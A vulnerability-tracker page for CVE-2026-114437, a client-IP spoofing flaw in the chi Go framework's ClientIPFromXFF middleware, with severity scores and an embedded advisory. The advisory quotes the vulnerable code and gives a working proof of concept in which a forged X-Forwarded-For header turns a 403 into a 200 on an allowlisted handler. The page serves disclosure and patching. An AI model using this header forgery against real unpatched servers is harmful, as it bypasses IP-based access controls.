CVE-2026-114437

mediumpriority · track · 0OT risk · elevatedEPSS 0.001 · 3 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.13% (3rd) EPSS
CVSS 4.8 · medium
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

6.3
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 1.7–6.3

v3.14.8mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:Nsecondary · vulnreport@tenable.comexploitability 2.2 · impact 2.5
v3.14.8mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:Nsecondary · OSV
v4.06.3mediumCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · vulnreport@tenable.com
v4.01.7lowCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

weaknesses

The CWE weakness classes this flaw belongs to.

03

affected products (1)

Products and version ranges known to be affected.

04

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-j6qf-3m9c-vwj3chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For2026-10-23ghsa · osvUS

    ### Summary `ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`. The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N). **Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required. 1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header. 2. Observe a `403 Forbidden` response and an empty derived client IP. 3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`. 4. Observe `200 OK` and `client-ip="10.0.0.7"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted. ### Details The vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address: ```go walkXFF(r.Header[xForwardedForHeader], func(v string) bool { ip, ok := parseHeaderAddr(v) if !ok { return true } if inAnyPrefix(ip, prefixes) { return false } found = ip return true }) ``` The function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies. ### Proof of concept Using Go 1.24 or later, create and run this minimal application against the tested revision: ```sh mkdir chi-clientip-poc cd chi-clientip-poc go mod init clientip-poc go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1 cat > main.go <<'EOF' package main import ( "fmt" "log" "net/http" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) const allowedIP = "10.0.0.7" func main() { r := chi.NewRouter() r.Use(middleware.ClientIPFromXFF("198.51.100.0/24")) r.Get("/admin", func(w http.ResponseWriter, r *http.Request) { clientIP := middleware.GetClientIP(r.Context()) if clientIP != allowedIP { http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden) return } fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP) }) log.Print("listening on http://127.0.0.1:3001") log.Fatal(http.ListenAndServe("127.0.0.1:3001", r)) } EOF go run . ``` The no-header control was rejected: ```console $ curl --http1.1 -i http://127.0.0.1:3001/admin HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 06 Oct 2026 15:46:27 GMT Content-Length: 48 denied: tcp-peer="127.0.0.1:54416" client-ip="" ``` Adding the forged chain authorized the same direct client: ```console $ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin HTTP/1.1 200 OK Date: Tue, 06 Oct 2026 15:46:33 GMT Content-Length: 57 Content-Type: text/plain; charset=utf-8 allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7" ``` ### Impact I made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.

05

sources

Which sources assert this record, and when.

published 2026-10-21modified 2026-10-21
06

references (2) nvd

External citations — patches, advisories, analysis.

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